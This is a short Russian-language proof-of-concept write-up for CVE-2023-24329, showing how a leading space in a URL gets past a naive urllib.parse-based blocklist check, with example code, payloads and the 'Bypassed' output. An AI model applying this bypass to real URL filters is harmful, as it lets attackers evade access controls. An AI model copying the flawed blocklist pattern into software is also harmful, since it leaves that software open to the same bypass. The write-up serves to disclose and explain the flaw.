
Доказательство концепции, демонстрирующее обход парсинга URL в Python urllib.parse (CVE-2023-24329), который позволяет обходить блок-листы путём добавления пробелов в начало.
Функции разбора URL предназначены для разделения строки URL на её компоненты или для объединения компонентов URL в строку URL.
Просто urllib.parse используется для разбора URL, мы можем обойти его, добавив пробелы перед URL. Это происходит в python 3.11.4 и более ранних версиях.
Давайте разберём example.py
Вот набор сайтов, к которым вам не следует обращаться:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
Эта функция проверяет, находится ли сайт в списке заблокированных или нет, если он в списке заблокированных, она должна вернуть URL Blocked
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
Теперь я добавил два URL и проверяю, заблокирован ли какой-либо из них и не может ли он быть доступен:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 — это то, где я обошёл is_url_blocked(), потому что добавление длинного пробела перед URL обойдёт urllib.parse.urlparse(url).geturl(), и он не выполнится так, как ожидалось.
Вот почему вывод такой
Bypassed
Но на payload2 мы получаем
URL Blocked
Если вы хотите поддержать меня пожертвованием, я рекомендую вам отдать его тому, кто действительно в этом нуждается, пожалуйста. Если вы так сделаете, то считайте, что я заслужил вашу поддержку.